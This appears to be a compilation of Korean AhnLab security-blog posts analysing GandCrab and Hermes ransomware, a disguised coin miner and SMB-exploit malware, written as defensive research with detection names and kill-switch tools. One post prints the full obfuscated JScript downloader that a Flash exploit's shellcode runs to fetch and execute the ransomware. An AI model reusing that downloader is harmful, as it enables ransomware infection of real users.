올해 초부터 등장한 GandCrab의 열기는 식을 줄 모르고있다. 지속적 변형으로 현재까지 v4.4로 업그레이드되어 유포 중임을 확인하였는데, 4버전 대의 GandCrab에서 특이한 점은 이전 버전들과 다르게 네트워크 통신이 없이도 파일 암호화를 수행한다는 것이다. 공개키를 사용하는 랜섬웨어에서는 C&C를 통해 피해 PC의 공개키를 공격자에게 전송하고, 그 키와 매칭이 되는 개인키는 공격자만이 알고 관리하는 방식이 보통이다. 그렇다면 공개키를 공격자에게 전송하지 않는 GandCrab v4.x는 어떻게 공격자가 개인키를 관리할 수 있을까?’에 대한 의문을 시작으로 자사에서는 6월 말부터 확인 된 v4.xGandCrab(v4.0, v4.1, v4.1.2, v4.1.3, v4.2, v4.2.1, v4.3, v4.4)의 암호화 방식을 분석하였다.

먼저 파일에 대한 암호화가 이루어지는 방식은 아래와 [그림1], [그림2]와 같다.

[그림 1 ] – 키가 생성되어 저장되는 정보


[그림 2 ] – 생성 된 키를 통해 파일을 암호화하는 방식


[그림1]에서 보이는 것과 같이 공개키(public)와 개인키(private)는 쌍을 이루는데 해당 GandCrab에서는 사용자 시스템에서 로컬 키 쌍을 만들고 해당 키 정보를 레지스트리에 저장한다.

이 때 공개키는 그대로 저장하지만, 개인키의 경우 공격자의 공개키로 암호화 한 Salsa20의 키(Key)와 벡터(Nonce)을 이용하여 암호화 한 후에 저장한다. 이 때 저장될 때에 암호화 된 Salsa20의 키, 벡터 및 암호화된 로컬 개인키를 함께 저장한다. 또한 이 정보는 Base64로 암호화되어 랜섬노트에 기록되어지기도 한다.

[그림2]와 같이 파일을 암호화 할 때는 각각의 파일마다 Salsa20 암호화에 필요한 키와 벡터를 생성하여 진행하는데, 이때 사용하는 키와 벡터는 로컬의 공개키로 암호화되어 파일 끝에 저장된다.

이 과정을 거꾸로 올라가 보면 공격자의 개인키 한 개만 알면 모든 키와 벡터를 알고 복호화를 진행 할 수 있다는 결론에 이른다. 상세한 단계는 아래와 같다.


[그림 3] – 공격자 개인키가 필요한 이유


굉장히 복잡한 알고리즘이지만 결국에는 공격자 개인키를 알면 해당 PC의 모든 암호화 된 파일을 복호화 할 수 있게 된다. 

Magniber 랜섬웨어의 경우, 키를 알고있는 공격자 입장에서 암호화 된 파일만 있어도 복호화가 가능했던 반면 이번 GandCrab v4.x에서는 암호화 된 파일 뿐아니라 감염 된 PC의 '로컬 개인키가 암호화되어 저장 된 레지스트리의 값' 혹은 '암호화 후 감염 시스템에 생성 되는 랜섬노트(KRAB-DECRYPT.txt)'정보가 함께 필요하다. 해당 데이터 정보에 파일 복호화를 위한 핵심인 암호화 된 로컬 개인키가 존재하기 때문이다. 

실제 공격자가 제공하는 GandCrab v4.x 복구툴 확인 결과, 로컬 개인키를 함께 전달받아 파일 복호화를 수행하는 것을 확인하였다. 공격자는 공격자 개인키를 가지고 있기 때문에 [그림2] 하단에 설명 된 과정을 통해 로컬 개인키를 구할 수 있다.

GandCrab v4.x 복구툴이 동작하는 과정은 아래와 같다.

[그림 4] - 복구툴 동작 과정


해당 GandCrab 류는 자사에서 아래와 같이 진단 중이다.

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab 


Posted by 분석팀

안랩 ASEC 에서는 국내로 유포되는 갠드크랩 랜섬웨어의 유포과정을 모니터링 중 갠드크랩 유포 스크립트에서 V3 Lite 제품에 대해 제거(Uninstall)를 유도하는 기능을 발견하였다. (V3 Lite 제품만을 타겟으로 함)

[그림 1] - 난독화된 스크립트 코드


유포 스크립트는 [그림 1]과 같이 난독화된 자바스크립트가 포함되어있으며, 난독화 해제 시 [그림 2]와 같은 자바스크립트의 메인 함수를 확인 할 수 있다.

[그림 2] - 복호화된 스크립트 코드


[그림 2]에 복호화된 자바스크립트는 두 가지 방법을 통해 갠드크랩 랜섬웨어를 실행한다. 2번 항목의 파워쉘을 이용한 방법으로 다운로드되는 갠드크랩의 경로는 http://pastebin.com/raw/**** 형태로 확인되었다. (상세한 동작방식은 기존에 작성된 http://asec.ahnlab.com/1141 참고) 갠드크랩 내부 버전은 모두 v4.3으로 확인되었다.

 갠드크랩 랜섬웨어 실행방식

 1. 내부 인코딩된 갠드크랩 실행파일을 사용자 시스템에 생성 및 실행

 2. 파워쉘 스크립트를 이용해 갠드크랩을 다운로드하여 실행

[표 1] - 스크립트 내부의 갠드크랩 실행방식 2가지


해당 유포 스크립트에서는 추가로 V3 프로그램 삭제를 유도하는 기능이 발견되었다. 유포 스크립트는 랜섬웨어를 실행하기 이전에 코드를 통하여 Windows Defender 서비스를 비활성화 및 V3 삭제를 유도한다. 해당 스크립트는 V3 삭제를 유도하기 위해, 해당 기능이 포함된 'tmtvgcslpw.js' 를 로컬에 생성하고 실행한다.


 [그림 3] - V3 삭제 유도기능이 포함된 자바스크립트(tmtvgcslpw.js)


[그림 3]은 V3 삭제 유도기능이 포함된 자바스크립트(tmtvgcslpw.js)의 난독화가 해제된 모습이다. 해당 스크립트는 V3 언인스톨러의 경로를 구한 후, 윈도우 버전에 따라 적합한 실행방식으로 언인스톨러를 실행한다. 언인스톨러를 실행한 이후 최대 60초까지 V3가 제거되었는지 확인 한다. 사용자가 제거 버튼을 60초 이내에 클릭할 경우, 즉시 갠드크랩 랜섬웨어가 실행된다.  


[그림 4] 스크립트에 의해 실행된 V3 제거 프로그램


유포스크립트는 아래 [표 2]와 같이 정상 문서 및 프로그램 이름으로 위장되어 유포되고 있어 첨부 파일로 전송받은 문서 실행 시 주의가 필요하다.

 유포 스크립트의 위장 파일명

 윈도우_10_스토어_오류.js

 무료_ppt_템플릿.js

 러브홀릭스_butterfly.js

 오토캐드_2014_키젠.js

 npdf_64_bit.js

[표 2] - 유포 스크립트의 위장 파일명


안랩 제품에서는 스크립트 파일 및 랜섬웨어를 아래와 같이 진단하고 있다. 갠드크랩 랜섬웨어 다운로드에 의한 동작 및 파워쉘을 통한 파일리스(Fileless) 형태 모두 행위차단이 가능하다.


유포 JS 파일

파일 진단명

JS/Gandcrab, JS/GandCrab.S1

랜섬웨어

실행파일

파일 진단명

Trojan/Win32.Gandcrab (2018.07.05.05)

행위 진단명

Malware/MDP.Ransom.M1171

파워쉘 스크립트

행위 진단명

Malware/MDP.Ransom.M1947


- Update (2018.08.30)

8월 30일자 확인된 "오토캐드_2014_키젠.js파일에서는 아래의 스크립트 코드에서 알 수 있듯이 파워쉘을 통한 다운로드 기능이 제거된 형태로 발견되었다. 내부의 인코딩된 갠드크랩을 생성하여 실행하는 기능만이 존재하며, V3Lite 제품에 대한 언인스톨 기능 등은 동일하다.


[그림 5] 파워쉘 부분이 제거된 8/30일자 변형


Posted by 분석팀

2018년 8월 1일 수집된 GandCrab(갠드크랩) v4.2.1 버전에는 안랩 V3 Lite 제품를 공격하는 기능이 추가되었다. 아래 부분은 GandCrab v4.2.1에서 이전 버전과 달라진 점이다.

  • 파일 외형 변경
  • 프로세스 할로잉을 통해 내부 핵심 GandCrab 파일 구동
  • Anti-VM 기능 삭제
  • V3 Lite 제품을 공격하는 코드 추가

특히 이번 v4.2.1 GandCrab 에서 가장 특징적인 부분은 안랩 V3 Lite 제품을 공격하는 코드가 추가되었다는 점인데, 파일 암호화 이후에 해당 기능이 동작하도록 하였다. 


V3 Lite 제품 공격 코드가 추가된 GandCrab

2018년 8월 2일에 신규 수집된 GandCrab v4.3 에서도 위와 동일한 V3 Lite 제품 공격 기능이 확인되었으며, V3 Lite 최신 버전 3.3.46.2 부터는 해당 공격에 영향을 받지 않는다.


GandCrab v4.2.1

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab (2018.08.01.09)

MD5         ccfee0f37b0e2952d8c77438fc1e5e13


GandCrab v4.3

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab (2018.07.10.05)

MD5         9f1aeca41d2da7ef2a441961077474f1


Posted by 분석팀

국내 터미널 연결 프로그램으로 위장한 가상 화폐 채굴 악성코드가 유포되고 있어 PC사용자들의 주의가 필요하다.


이 악성코드는 81일부터 등장한 악성코드로 기존의 OLE취약점이나 매크로등 알려진 방법을 가지고 유포되며 윈도우의 기본 프로그램인 ‘wscript.exe’를 이용해 악성코드가 다운로드 된다다운로드된 악성코드는 기존 터미널로 위장하기 위해 ‘등록정보 내용’을 똑같이 만들어 일반 사용자들이 알아채기 어렵도록 만들었다.



[그림 1.] 위장(좌)vs정상(우) 비교


뿐만 아니라 아래 번과 같이 리소스(.rsrc)섹션의 내용을 동일하게 만든 것을 확인할 수 있으며, 



[그림 2.] 정상과 악성의 리소스 섹션 정보 비교


악성의 번 부분에선 정상 프로그램의 Installer를 설치 시 생성되는 PE프로그램 일부를 리소스(.rsrc)섹션에 넣어 두었는데, 이는 AV업체의 진단을 우회하기 위한 것으로 추정된다.



[그림 3.] 악성코드의 내부 파일(②) & 이에 일치되는 정상 프로그램의 항목(우)


악성코드 내부는 아래와 같은 마이닝 풀(mining pool) 주소와 사용할 알고리즘(초기값: cryptonight) 등 프로그램 구동과 관련된 내용이 적혀 있으며 마이너 종류는 ‘NiceHash Miner’로 추정된다.



[그림 4.] 마이닝 풀 주소() , NiceHash Miner관련 문자열()


현재 V3는 아래와 같이 행위 탐지하고 있으며,
대상 샘플들은 진단명: Trojan/Win64.CoinMiner 로 진단하고 있다.



[그림 5.] 8월 6일 행위 탐지 룰로 차단된 Miner



참조 URL :
1) https://miner.nicehash.com/

2) https://www.netsarang.co.kr/products/xsh_overview.html

Posted by 분석팀

GandCrab(갠드크랩) 랜섬웨어는 진단을 회피하기 위해 파일 외형에 있어서 다양한 패커 사용을 통한 빠른 변화를 거듭하고 있으며, 지난 주 안랩 ASEC에서는 v4.0, v4.1, v4.1.2, v4.1.3 버전에 대한 암호화 차단(Kill-Switch) 툴을 ASEC블로그를 통해 배포하였다.(http://asec.ahnlab.com/1145) 해당 암호화 차단툴 배포 후, 등장한 v4.1.2 변종에서는 악성코드 내부에 자사에 대한 모욕적인 내용을 담고 있는 이미지 링크를 추가한 것과 함께 더 이상 차단 툴이 유효하지 않도록 관련 코드가 제거된 형태로 발견되었다.(http://asec.ahnlab.com/1146) 이후 국내 유포방식을 모니터링 하던 중 7월 24일부터는 RigEK(Rig Exploit Kit)을 통한 새로운 v4.2 버전의 유포가 확인되었다. GandCrab v2.x와 v3.x 버전이 RigEK를 통해 유포된 것은 올 해 4월에 기 알려진 상태이나, 최신 v4.2 버전이 RigEK를 통해 유포된 것이 확인된 것은 이번이 처음이다. 새롭게 확인된 버전의 기능은 기존과 크게 다르지 않지만, Anti-VM 기능이 추가된 것이 특징이다.(암호화 차단툴 - X, 안랩 모욕 이미지 링크 - O) Anti-VM기능은 시스템의 'CPU 개수' 및 사용중인 운영체제 설치 '드라이브의 총 사용량' 등을 체크하여 동작여부가 결정되는 구조이다. 조건에 따라 10분간 대기(Sleep() 함수)한 후에 암호화를 수행하는 경우와 대기없이 바로 암호화를 수행하는 경우, 암호화 작업없이 바로 종료하는 경우 3가지로 나뉜다.



1. Anti-VM기능이 추가 된 GandCrab 4.2


4.2버전의 GandCrab에서는 기존 4.1버전에 없었던 기능이 추가되었는데, 특정 환경에서는 동작하지 못하도록 하는 Anti-VM이 바로 그것이다.


아래와 같이 Anti-VM을 확인하는 코드는 복잡한 연산을 수행한 뒤의 결과 값으로 확인하게 되는데, 이 때 사용되는 값들 중 핵심 요소는 사용중인 디스크 크기, 현재 시스템의 CPU개수 및 시스템이 부팅된 후 흐른 시간이다. 이 값들을 조합하여 특정 연산 후의 최종 데이터로 암호화 여부와 sleep 함수를 수행할 것인지를 결정하게 된다.


일반적으로 가상머신 VM(Virtual Machine)환경에서는 보통 1개의 CPU와 디스크 사용량이 적은 환경으로 세팅되기 때문에 암호화 행위가 발행하지 않을 수 있다.




[그림 1] - 안티VM 체크하는 코드 루틴



아래의 [표 1]은 시스템이 부팅되고부터 10분 경과 된 후 해당 GandCrab 4.2 버전이 실행되었을 경우와 1시간이 경과한 후 실행되었을 경우 각각 암호화가 수행되는 기준 정보를 보여준다. 부팅된 시간이 오래될 수록 감염 조건에 부합하는 현재 디스크 사용량 크기 조건은 줄어든다. 예를들어 (대부분의 일반 사용자 환경인) CPU가 8개인 PC를 부팅하여 익스플로잇이 발생 될 수 있는 페이지에 접근 후 GandCrab 4.2가 실행되는데까지 1시간이 걸렸다고 했을 때 디스크 사용용량이 50G이상인 경우 바로 암호화가 수행되며, 10G인 경우는 10분간의 대기 후에 암호화가 수행된다.


  

10 mins after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

537GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

108GB

8

28GB

1 hours after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

108GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

28GB

8

23GB

 

[ 1] - 암호화 조건



2. Rig Exploit Kit을 통해 유포되는 GandCrab v4.2


[그림 2]는 Rig Exploit kit으로 탐지된 GandCrab v4.2 랜섬웨어의 탐지 로그이며, “b37.exe”를 다운로드 및 실행하는 기능을 수행한다. "b37.exe"파일이 새롭게 확인된 GandCrab v4.2이며, 함께 수집된 플래쉬 파일은 'CVE-2018-4878' 취약점을 갖는 것으로 확인되었다. [그림 3]은 취약점을 갖는 플래쉬 파일(mifxfb67.swf)의 쉘코드가 실행하는 커맨드 명령을 나타낸다.



[그림 2] - RigEK 이용한 GandCrab v4.2 탐지로그




[그림 3] - 플래시 파일 내부의 쉘코드


 

cmd.exe /q /c cd /d "%tmp%" && echo function _(k,e){for(var l=0,n,c=[],F=255,S=String,q=[],b=0;256^>b;b++)c[b]=b;ta="char"+"CodeAt";for(b=0;256^>b;b++)l=l+c[b]+e[ta](b%e.length)

^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],

c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q["join"]("")};

/**/function V(k){var y=a(e+"."+e+/**/"Reques\x74.5.1");T="G";y["se"+"tProxy"](n);y["o"+"pen"](T+"ET",k(1),1);y.Option(n)=k(2);y.send();y["Wai"+"tForResponse"]();W="respo"+"nseText";

if(40*5==y.status) return _(y[W],k(n))};try{M="WSc";u=this[M+"ript"],o="Object";P=(""+u).split(" ")

[1],M="indexOf",m=u.Arguments,e="WinHTTP",Z="cmd",U="DEleTefIle",a=Function/**/("QW","return

 u.Create"+o+"(QW)"),q=a(P+"ing.FileSystem"+o),s=a("ADO"+"DB.Stream"),j=a("W"+P+".Shell"),

x="b"+Math.floor(Math.random() * 57)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.

Charset="iso-8859-1";try{v=V(m)}catch(W){v=V(m)};Q="PE\x00\x00";d=v.charCodeAt(21+v[M](Q));s.Open();h="dll";if(037^<d){var z=1;x+=h}else x+=p;s.WriteText(v);s.savetofile(x,2);C=" /c ";s.Close();i="regs";z^&^&(x=i+"vr32"+E+" /s "+x);j["run"](Z+E+C+x,0)}catch(EE){};q[U](K);>

T32.tmp && start wscript //B //E:JScript T32.tmp "


[ 2] - 쉘코드에서 실행되는 명령

 


CVE-2018-4878 취약점을 예방하기 위해서는 플래시 플레이어 버전을 항상 최신으로 업데이트 해주어야 한다. 또한 자사에서는 해당 GandCrab v4.2 랜섬웨어를 아래와 같이 진단 중이다.


 

SWF 플래시 파일

GandCrab 4.2 실행 파일

행위진단

Malware/MDP.DriveByDownload

Malware/MDP.Ransom

파일진단

SWF/Cve-2018-4878.Exp.3

Trojan/Win32.Gandcrab

MD5 HASH

aca9bc42091691e4b94f6a70e4f2c55e

0c8177d87b821af30756cd2edc9b939a


[표 3] - 자사 제품 진단 정보

Posted by 분석팀

자사에서는 지속적으로 업데이트되는 GandCrab 랜섬웨어의 내부 버전을 확인하여 그에 대한 대응을 신속히 하고있다. 오늘도 버전 업데이트 된 4.1.3이 확인되어 지난 블로그에 이에 대한 kill-switch가 가능한 툴도 즉각 새로 제작하여 업로드하였다. (http://asec.ahnlab.com/1145)


하지만 모니터링 중 지금까지 공유되었던 유형과는 다른 GandCrab이 발견되었는데, 이 유형은 특정 뮤텍스를 생성한다. 뮤텍스명 생성시 사용하는 스트링에 자사인 ahnlab만을 언급하고 있는 점이 눈에 띈다.


"%X ahnlab http://memesmix.net/media/created/dd0doq.jpg" 스트링을 이용하여 기존과 같은 커스텀 salsa20 알고리즘으로 “Global\*.lock”명의 뮤텍스를 생성한다.


[그림 - 1] 새로운 뮤텍스 생성 알고리즘



스트링에 포함된 URL주소 접속 시에는 아래와 같이 특정 의미를 담은 그림과 러시아 문구를 확인 할 수 있다해당 러시아어는 아래와 같은 '모욕'의 의미가 있는 것으로 확인되었다.


- I added you to the Gay list, so far i used the pencil.



[그림 - 2] URL 접속 시 확인되는 그림


이 유형의 내부 버전은 기존과 같은 4.1.2이지만 .lock 파일을 생성하여 kill-switch를 가능하게 했던 기존의 코드가 없는 버전으로 확인된다. Kill-switch가 가능했던 유형에서 제작자가 사용하였던 스트링인 "%X fortinet & ahnlab, mutex is also kill-switch not only lockfile ;)" 의 뜻이 이해되는 대목이다


GandCrab이 다양한 유형으로 유포되고 있음을 알 수 있으며 해당 유형 역시 자사 제품의 행위 및 파일 진단으로 모두 탐지 가능하다.


  • 행위진단: Malware/MDP.Ransom
  • 파일진단: Win-Trojan/Gandcrab04.Exp (2018.07.17.00)
  • MD5: 435f58209f1a5770cc5c4795628fd85e


Posted by 분석팀

2018년 7월 9일 보안업체 Fortinet과 7월 13일 안랩에서 GandCrab v4.1.1에 대한 암호화 차단방법을 공유하였다. 이후 7월 17일 아래와 같이 GandCrab 4.1.2 버전이 새롭게 확인되었으며, 악성코드 내부에는 Fortinet 과 AhnLab에 대해 조롱하는 듯한 문구가 삽입되었다.


"#fortinet & #ahnlab, mutex is also kill-switch not only lockfile ;)"


[참고] https://twitter.com/MarceloRivero/status/1019259361259028480?s=09


4.1.2 버전에서는 단순히 해당 문구가 추가된 것 외에 암호화 차단의 핵심이 되는 *.lock 파일이름 생성 알고리즘이 복잡하게 변경되었다. 파일이름의 길이도 기존 8바이트에서 20바이트로 확장되었다. 안랩 ASEC에서는 변경된 파일이름 생성 알고리즘이 알려진 Salsa20 을 일부 수정한 Custom Salsa20 으로 확인하였으며, 이러한 정보를 바탕으로 새로운 암호화 차단툴을 제작하였다.


아래의 그림은 새로운 버전 4.1.2에서 *.lock 파일을 생성하는 코드를 나타내며, 붉은색 표시부분이 새롭게 추가된 것으로 기존의 볼륨정보 외에 Salsa20 함수를 통해 lock 파일이름을 생성하는 것을 알 수 있다.


[그림-1] GandCrab v4.1.2의 lock 파일생성



Salsa20 암호화 시 사용되는 Key, Vector 정보는 다음과 같다.

  • KEY[] (16진수): 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
  • VEC[] (16진수): 01 02 03 04 05 06 07 08
  • 입력값: "380978EA fortinet & ahnlab, mutex is also kill-switch not only lockfile ;)" (단, 380978EA 값은 드라이브 볼륨을 통해 생성된 정보로 사용자마다 상이)

변경된 파일이름만 특정 경로에 존재하면, 여전히 암호화 차단(Kill-Switch)이 가능함을 확인하였으며, lock 파일의 생성위치 및 사용방법은 기존과 동일하며 아래와 같다.


폴더: CSIDL_COMMON_APPDATA

  • Win XP: C:\Documents and Settings\All Users\Application Data
  • Win 7, 8, 10: C:\ProgramData

파일: 8A5BA4B9C369950A5FEC.lock (예제)

툴 사용방법

  • 첨부한 실행파일을 다운로드 받은 후, 오른쪽 마우스 클릭하여 '관리자 권한으로 실행'
  • 아래와 같이 해당 폴더(Common AppData)에 *.lock 파일이 생성됨을 확인


V3제품에서도 현재 유포되는 GandCrab v4.1.2 유형에 대해 아래와 같이 진단/대응하고 있다. 안랩 ASEC은 국내에 유포 중인 GandCrab 랜섬웨어 관련하여 지속적인 모니터링을 수행하고 있으며, 새로운 버전도 V3제품에서는 사전 대응이 가능한 상황이다.

  • 행위진단: Malware/MDP.Ransom
  • 파일진단: Win-Trojan/Gandcrab04.Exp (2018.07.17.00)
  • MD5: f153ac5527a3e0bc3e663b8e953cc529

국내에 유포되는 GandCrab 랜섬웨어는 이력서 혹은 정상 프로그램으로 위장하여 사용자 클릭을 유도하는 형태임을 확인하였으며, 아래와 같은 파일명들이 사용되고 있다.


- \안녕하세요 입사지원하는 임정연입니다\임정연\임정연\unclej.exe

- micro_office_2010.exe

- 쯔꾸르_게임.exe

- 뿌요뿌요_테트리스.exe

- 포토_리커버리.exe

Posted by 분석팀

2018년 7월 9일 보안업체 Fortinet은 자사 블로그를 통해 GandCrab v4.0에 대한 암호화 차단방법을 공유하였다. 안랩 ASEC은 해당 방식이 최근 국내에서 유포되고 있는 GandCrab v4.1 및 v4.1.1 버전에서도 유효함을 확인하였으며, 이러한 정보를 바탕으로 암호화 방지툴을 제공하여 국내 사용자 피해를 사전에 차단하고자 한다.


- [참고] https://www.fortinet.com/blog/threat-research/gandcrab-v4-0-analysis--new-shell--same-old-menace.html


GandCrab v4.x 랜섬웨어는 네트워크 공유폴더의 파일들도 암호화함으로 이전 버전에 비해 더 큰 피해가 우려된다. Fortinet 블로그에 언급된 암호화 차단방식은 "Common AppData" 폴더에 특별한 규칙을 갖는 8자리 이름의 *.lock 파일이 존재할 경우, 랜섬웨어가 종료하는 코드를 역으로 이용한 것이다.


암호화를 사전에 차단하기 위한 *.lock 파일의 위치 및 파일명 생성규칙은 다음과 같다.

  • 폴더: CSIDL_COMMON_APPDATA
    • Win XP: C:\Documents and Settings\All Users\Application Data
    • Win 7, 8, 10: C:\ProgramData
  • 파일: 426BD648.lock (예제)
    • 파일명은 루트 드라이브의 볼륨정보를 바탕으로 생성되어 사용자마다 다를 수 있음.
  • 툴 사용방법
    • 첨부한 실행파일을 다운로드 받은 후, 오른쪽 마우스 클릭하여 '관리자 권한으로 실행'
    • 아래와 같이 해당 폴더(Common AppData)에 *.lock 파일이 생성됨을 확인

[그림-1] Win7 환경에서 파일 생성위치


아래의 그림은 GandCrab v4.x에서 lock 파일명을 생성하는 방식에 대한 코드로 이 정보를 통해 툴이 제작되었다.



[그림-2] *.lock 파일명 생성코드


GandCrab v4.x에서 암호화 제외 파일명은 다음과 같다.


desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, thumbs.db, KRAB-DECRYPT.html, KRAB-DECRYPT.txt, CRAB-DECRYPT.txt, ntldr, NTDETECT.COM, Bootfont.bin


GandCrab v4.x에서 암호화 제외 폴더명은 다음과 같다.


\ProgramData\

\IETldCache\

\Boot\

\Program Files\

\Tor Browser\

\All Users\

\Local Settings\

\Windows\


GandCrab v4.x에서 암호화 제외 확장자는 다음과 같다.


 .ani .cab .cpl .cur .diagcab .diagpkg .dll .drv .lock .hlp .ldf .icl .icns .ico .ics .lnk .key .idx .mod .mpa .msc .msp .msstyles .msu .nomedia .ocx .prf .rom .rtp .scr .shs .spl .sys .theme .themepack .exe .bat .cmd .gandcrab .KRAB .CRAB .zerophage_i_like_your_pictures


V3제품에서는 현재 유포되는 GandCrab v4.x 유형에 대해 아래와 같이 진단하고 있다.

- 행위진단: Malware/MDP.Ransom
- 파일진단: Trojan/Win32.Gandcrab (2018.07.05.03)


Posted by 분석팀

최근 SMB 취약점을 이용한 악성코드가 국내 사용자를 대상으로 다시 확산되면서 경각심을 주고 있다. SMB 취약점은 작년 WannaCrypt 랜섬웨어(http://asec.ahnlab.com/1067)가 확산되면서 전 세계적으로 이슈된 OS 취약점으로 대대적으로 패치가 이루어졌지만몇몇 중소기업이나 복지기관 그리고 결제시스템에 필요한 POS단말기 등 호환성을 위해 아직 패치되지 않은 낮은 버전의 OS를 사용 중인 시스템들은 해커들로부터 공격 대상이 되고 있다.


대표적으로 6월 말쯤 발생한 POS장비 인터넷 마비 사건 또한 이 취약점을 통해 공격을 받은 것으로 확인되었으며 현재 고객사로부터 관련 피해들이 잇따라 접수되고 있어 취약점 패치가 절실하다. 이 취약점을 통해 유포되는 악성코드의 형태로는 Genasom 랜섬웨어와 사용자 몰래 CPU 자원을 사용해 코인 채굴 행위를 하는 Miner 등이 주로 확인되었다.


자사의 행위 진단으로 탐지된 리포트에 의하면 올해 0707일부터 이 취약점을 이용한 악성코드가 갑자기 급증 되어 최대 1600여건 이상 탐지되고 있음을 확인할 수 있다. 따라서 타겟이 되는 시스템은 취약점 패치 및 보안 업데이트가 필요하다.


[그림 1. SMB 취약점을 이용한 악성코드 대상 탐지 건수]


안랩 제품에서는 악성코드들을 다음과 같이 진단하고 있다.

파일 진단 : Trojan/Win32.Genasom (2017.11.28.00), Trojan/Win32.Agent (2018.07.10.00)
행위 진단 : Malware/MDP.DriveByDownload

[취약점 패치]


Posted by 분석팀

지난해 말부터 시작하여 꾸준히 유포되고 있는 헤르메스 랜섬웨어 2.1은 기능적으로 큰 변화가 없으며, 이에 따라 구현된 내부 PE(Portable Executable) 파일도 유사한 형태를 가진다. 하지만 외형의 경우 아이콘이나 무의미한 문자열 같은 리소스, 데이터가 랜덤하게 다양한 값을 가지기 때문에 형태 뿐만 아니라 크기까지도 매우 상이한 형태로 유포되었다.


최근 유포되고 있는 헤르메스 랜섬웨어 2.1의 경우 실제 랜섬웨어의 기능을 담당하고 있는 내부 PE 파일은 과거와 유사하지만 외형적으로는 큰 차이를 보인다. C / C++로 개발된 과거의 형태와는 달리 개발 언어 자체가 변경되었는데, Visual Basic 6.0 ( N-Code : Native ) 으로 만들어진 외형을 가진 채로 유포 중이다.


개발 언어는 변경되었지만 그 기능은 동일한데, 쓰레기 코드를 거친 후 결국 암호화되어 저장된 실제 헤르메스 PE를 복구하고 메모리에 새로 쓰는 RunPE 방식으로 구현되어 있다.


 

v2.1 초기 형태

v2.1 이후

 v2.1 최신 형태

기간 

2017년 10월 경

2018년 상반기

2018년 7월 경

외형

C /C++

C /C++

  Visual Basic 6.0 

 내부 PE

 Hermes Ransomware v2.1

(확장자를 .HRM으로 변경)

Hermes Ransomware v2.1
(확장자 변경 X)

Hermes Ransomware v2.1
(확장자 변경 X)

특징

 RunPE 방식으로 실제 PE 로드 

 RunPE

 RunPE



v2.1 초기 형태


초기 버전의 경우 다음과 같은 쓰레기 코드로 시작한다.


[그림1]  쓰레기 코드(Garbage Code)


이후 복호화 루틴을 거쳐 실제 PE를 복구한 후 메모리에 새로 쓰고 다시 실행하는 RunPE 방식이 사용된다.

[그림2]  복호화 루틴 및 복호화 된 실제 헤르메스 PE




VB6 외형을 가진 최신 헤르메스 v2.1


일반적으로 VB6 외형을 가진 악성코드의 경우 Form 초기화 함수 ( Form_Initialize ) 등에 실제 코드를 숨겨놓는 경우가 많지만 헤르메스는 Form이 삽입만 되어있을 뿐 폼과 관련된 이벤트 루틴은 존재하지 않는다.


[그림3]  랜덤 문자열 이름을 갖는 Form



즉 GUI 형태로 보이지만 Console 모드로 컴파일되었으며, 이에 따라 아래와 같이 실제 EP(Entry-Point)를 확인할 수 있다. 아래의 그림은 VB파일에서 사용되는 구조체 정보를 나타내며 구조체 시작+0x2C에 위치한 멤버가 Console Mode에서 EP 주소(0x004283A4)를 나타낸다.

[그림4]  ThunRTMain() 호출 전 push하는 구조체



진행하다 보면 여러 쓰레기 코드들을 확인할 수 있다.

[그림5]  시작부터 마지막 부분까지 모두 쓰레기 코드


쓰레기 코드를 지나 실제 복호화 루틴 주소를 획득한 후 CallWindowProcW() 함수를 호출하는데 해당 함수의 인자 중 lpPrevWndFunc에 복호화 루틴의 주소를 넣는다. 이를 통해 CallWindowProcW() API 함수를 호출함으로써 실제 복호화 루틴으로 분기할 수 있다. 이러한 형태는 VB6로 만들어진 RunPE 형태에서 자주 사용되는 방식이다.


[그림6]  CallWindowProcW() 함수를 호출하기 위한 DllFunctionCall()

 


최신 버전의 경우 또한 두 단계의 복호화 루틴이 존재한다. 아래 코드 섹션 상에 존재하는 복호화 루틴은 이전 버전과 같이 복호화 대상이 또 다른 형태의 복호화 루틴 및 데이터 그리고 실제 헤르메스의 PE이다. 


[그림7]  첫 번째 복호화 루틴


실제 헤르메스의 PE에 대한 복호화를 담당하는 두 번째 복호화 루틴은 다음과 같으며 안티 디버깅 및 안티 VM 기법이 존재한다.


[그림8]  Anti-Debugging 및 Anti-VM 기법


IsDebuggerPresent() 함수를 직접 구현하였으며, NtGlobalFlags 값을 획득하여 현재 디버깅 중인지 판단한다. 마지막으로 CPUID를 이용해 현재 CPU가 MMX를 지원하는지 검사한다. 이것은 보통 가상 환경의 CPU가 MMX를 지원하지 않는다는 점을 이용한 Anti VM으로 판단되며 MMX 관련 명령어는 이후에도 사용된다. 


다음으로 문자열 kID1(0x6B494431)을 찾는데 현재 샘플은 오프셋 그리고 메모리 기준에서도 0x89CC에 해당 문자열이 위치한다. (참고로 이 파일은 .text 섹션이 0x1000에서 시작하기 때문에 메모리에 로드된 것과 동일한 형태이다. 즉 File Alignment가 Section Alignment와 마찬가지로 0x1000을 갖는다)


[그림9]  "kID1" 시그니처 문자열

 


복호화 시작위치를 찾는데 기준이 되는 문자열 "kID1" 이후부터 주어진 크기 만큼 할당한 메모리에 복사한다. 메모리로 복사된 데이터에는 인코딩되어 있는 PE 외에도 XOR에 사용되는 키 값이 존재한다. 


[그림10]  아래의 XOR 루틴에서 사용되는 키

 

해당 키 값으로 다음과 같이 MMX 명령어를 이용한 복호화가 진행된다.

